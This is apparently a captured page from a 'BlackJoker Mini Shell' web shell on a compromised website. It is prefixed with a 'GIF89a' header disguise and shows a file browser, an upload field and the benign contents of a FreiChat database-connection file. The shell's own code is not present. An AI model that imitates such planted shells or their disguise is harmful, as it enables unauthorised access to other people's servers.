GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/freichat/
Upload File :
Current File : /home/serb/public_html/freichat/define.php

<?php

//static $connected = false;

class DB_conn {

    public static $connected = false;
    public static $connection;
    public static $driver;
    public static $debug;

    public static function get_connection($dsn,$db_user,$db_pass) {

        if (self::$connected == true) {
            return self::$connection;
        }

        try {
            self::$connection = new PDO($dsn, $db_user, $db_pass ,array(
                        PDO::ATTR_PERSISTENT => false
                    ));
        } catch (PDOException $e) {

            self::freichat_debug("unable to connect to database. Error : " . $e->getMessage());
            die($e->getMessage());
        }

        self::freichat_debug("connected to database successfully");
        self::$connection->exec("SET CHARACTER SET utf8");
        self::$connection->exec("SET NAMES utf8");
        self::$connection->exec("SET SESSION sql_mode = 'ANSI';");

        self::$connected = true;
        return self::$connection;
    }

    private static function freichat_debug($message) {
        if (self::$debug == true) {
            $dbgfile = fopen("../freixlog.log", "a");
            fwrite($dbgfile, "\n" . date("F j, Y, g:i a") . ": " . $message . "\n");
        }
    }

}

./BlackJoker Mini Shell 1.0